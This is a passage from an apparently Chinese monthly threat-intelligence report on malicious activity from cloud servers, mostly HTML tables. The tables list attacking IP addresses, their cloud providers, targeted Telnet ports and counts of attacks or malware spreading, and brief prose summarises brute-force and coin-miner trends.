accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">5,138</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:6;height:11.35pt">
<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><b><span lang="EN-US">167.99.119.54</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</div>
</td>
<td width="111" nowrap="" style="width:83.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span lang="EN-US">DigitalOcean</span></p>
</td>
<td width="195" nowrap="" style="width:146.2pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" style="mso-yfti-cnfc:64"><span lang="EN-US">Telnet/TCP23</span></p>
</td>
<td width="58" nowrap="" style="width:43.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">5,123</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:7;height:11.35pt">
<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:4"><b><span lang="EN-US">143.198.124.174<o:p></o:p></span></b></p>
</div>
</td>
<td width="111" nowrap="" style="width:83.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center"><span lang="EN-US">DigitalOcean</span></p>
</div>
</td>
<td width="195" nowrap="" style="width:146.2pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal"><span lang="EN-US">Telnet/TCP23, TCP2323</span></p>
</td>
<td width="58" nowrap="" style="width:43.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">4,633</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:8;height:11.35pt">
<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:68"><b><span lang="EN-US">174.138.35.234<o:p></o:p></span></b></p>
</div>
</td>
<td width="111" nowrap="" style="width:83.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span lang="EN-US">DigitalOcean</span></p>
</div>
</td>
<td width="195" nowrap="" style="width:146.2pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" style="mso-yfti-cnfc:64"><span lang="EN-US">Telnet/TCP23,
TCP2323</span></p>
</td>
<td width="58" nowrap="" style="width:43.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">4,553</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:9;mso-yfti-lastrow:yes;height:11.35pt">
<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:4"><b><span lang="EN-US">137.184.109.243<o:p></o:p></span></b></p>
</div>
</td>
<td width="111" nowrap="" style="width:83.0pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center"><span lang="EN-US">DigitalOcean</span></p>
</div>
</td>
<td width="195" nowrap="" style="width:146.2pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal"><span lang="EN-US">Telnet/TCP23, TCP2323</span></p>
</td>
<td width="58" nowrap="" style="width:43.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">3,807</span></p>
</td>
</tr>
</tbody></table>
</div><!--kg-card-end: html--><p>此外，我们发现一个IP地址为<strong>47.92.*.*</strong>的阿里云服务器在10月份发起了306次FTP爆破攻击。我们还发现该服务器上架设了一个网站，所有者是<strong>某市供排水总公司</strong>，属于云上重要基础设施。我们对该案例进行了详细分析，具体内容请见第4节。</p><p>在传播木马病毒、僵尸网络等恶意程序方面，10月份我们共监测到<strong>3324个</strong>云计算IP地址传播了<strong>157种恶意软件约88.2万次</strong>。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/11/13.png" class="kg-image" alt loading="lazy"></figure><p>云服务器攻击者最流行的恶意软件家族类型包括了木马下载器（TrojanDownloader）、恶意挖矿软件（CoinMiner）、Tsunami僵尸网络程序等。在整个10月份，有近3000个云服务器IP发起了近27万次会话以传播恶意挖矿软件。恶意挖矿软件已经成为当前云服务器恶意软件中最主要突出的问题。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/11/10.PNG" class="kg-image" alt loading="lazy"></figure><p>下表是传播恶意软件最活跃的10个IP。</p><!--kg-card-begin: html--><div align="center">
<table class="MsoTable15Grid4Accent3" border="1" cellspacing="0" cellpadding="0" width="0" style="width:339.0pt;border-collapse:collapse;border:none;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
mso-yfti-tbllook:1184;mso-padding-alt:0cm 5.4pt 0cm 5.4pt">
<tbody><tr style="mso-yfti-irow:-1;mso-yfti-firstrow:yes;mso-yfti-lastfirstrow:yes;
height:9.9pt">
<td width="124" nowrap="" valign="top" style="width:93.3pt;border:solid #A5A5A5 1.0pt;
mso-border-themecolor:accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;
mso-border-top-themecolor:accent3;mso-border-left-alt:solid #A5A5A5 .5pt;
mso-border-left-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;
mso-border-bottom-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:
accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:5"><b><span lang="EN-US" style="mso-bidi-font-size:12.0pt;
color:white;mso-themecolor:background1;mso-font-kerning:0pt">IP</span></b><b><span style="mso-bidi-font-size:12.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;
mso-font-kerning:0pt">地址</span></b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;color:white;mso-themecolor:background1;mso-font-kerning:0pt;
mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
<td width="102" nowrap="" valign="top" style="width:76.55pt;border-top:solid #A5A5A5 1.0pt;
mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;
mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:
solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:
solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;
mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><b><span style="mso-bidi-font-size:12.0pt;font-family:宋体;
mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";
color:white;mso-themecolor:background1;mso-font-kerning:0pt">云服务商</span></b><span lang="EN-US" style="mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;
mso-font-kerning:0pt;mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
<td width="95" nowrap="" valign="top" style="width:70.9pt;border-top:solid #A5A5A5 1.0pt;
mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;
mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:
solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:
solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;
mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><b><span style="mso-bidi-font-size:12.0pt;font-family:宋体;
mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";
color:white;mso-themecolor:background1;mso-font-kerning:0pt">传播次数</span></b><span lang="EN-US" style="mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;
mso-font-kerning:0pt;mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
<td width="131" nowrap="" valign="top" style="width:98.25pt;border:solid #A5A5A5 1.0pt;
mso-border-themecolor:accent3;border-left:none;mso-border-top-alt:solid #A5A5A5 .5pt;
mso-border-top-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;
mso-border-bottom-themecolor:accent3;mso-border-right-alt:solid #A5A5A5 .5pt;
mso-border-right-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:
accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><b><span style="mso-bidi-font-size:12.0pt;font-family:宋体;
mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";
color:white;mso-themecolor:background1;mso-font-kerning:0pt">恶意软件家族</span></b><span lang="EN-US" style="mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;
mso-font-kerning:0pt;mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:0;height:9.9pt">
<td width="124" nowrap="" valign="bottom" style="width:93.3pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:68"><b><span lang="EN-US" style="color:black">152.136.233.99<o:p></o:p></span></b></p>
</td>
<td width="102" nowrap="" valign="bottom" style="width:76.55pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman";color:black">腾讯云</span><span lang="EN-US" style="color:black"><o:p></o:p></span></p>
</td>
<td width="95" nowrap="" valign="bottom" style="width:70.9pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">22,986<o:p></o:p></span></p>
</td>
<td width="131" nowrap="" valign="bottom" style="width:98.25pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">5<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:1;height:9.9pt">
<td width="124" nowrap="" valign="bottom" style="width:93.3pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US" style="color:black">81.70.52.20<o:p></o:p></span></b></p>
</td>
<td width="102" nowrap="" valign="top" style="width:76.55pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="center" style="text-align:center"><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman";color:black">腾讯云</span></p>
</td>
<td width="95" nowrap="" valign="bottom" style="width:70.9pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US" style="color:black">18,495<o:p></o:p></span></p>
</td>
<td width="131" nowrap="" valign="bottom" style="width:98.25pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US" style="color:black">4<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:2;height:9.9pt">
<td width="124" nowrap="" valign="bottom" style="width:93.3pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><b><span lang="EN-US" style="color:black">101.35.144.50<o:p></o:p></span></b></p>
</td>
<td width="102" nowrap="" valign="top" style="width:76.55pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:64"><span style="font-family:宋体;mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:
"Times New Roman";color:black">腾讯云</span></p>
</td>
<td width="95" nowrap="" valign="bottom" style="width:70.9pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">13,444<o:p></o:p></span></p>
</td>
<td width="131" nowrap="" valign="bottom" style="width:98.25pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">6<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:3;height:9.9pt">
<td width="124" nowrap="" valign="bottom" style="width:93.3pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US" style="color:black">180.76.99.153<o:p></o:p></span></b></p>
</td>
<td width="102" nowrap="" valign="bottom" style="width:76.55pt;border-top:none;
